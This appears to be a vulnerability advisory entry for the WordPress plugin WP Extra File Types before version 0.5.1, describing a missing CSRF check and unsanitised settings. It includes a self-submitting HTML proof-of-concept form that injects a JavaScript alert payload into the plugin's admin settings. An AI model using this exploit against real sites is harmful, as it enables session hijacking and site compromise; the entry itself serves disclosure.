WP Extra File Types < 0.5.1 - CSRF to Stored Cross-Site Scripting

2021-12-2700:00:00

JrXnm

0.001 Low

EPSS

Percentile

32.2%

JSON

The plugin does not have CSRF check when saving its settings, nor sanitise and escape some of them, which could allow attackers to make a logged in admin change them and perform Cross-Site Scripting attacks

<html>
  <body>
    <form action="http://wp.lab/wordpress/wp-admin/options-general.php?page=wp-extra-file-types-page" id="hack" method="POST">
      <input type="hidden" name="do_save" value="1" />
      <input type="hidden" name="custom_d[a]" value='"' />
      <input type="hidden" name="custom_e[a]" value=");alert(/XSS/);//" />
      <input type="hidden" name="custom_m[a]" value="z" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

0.001 Low

EPSS

Percentile

32.2%

JSON

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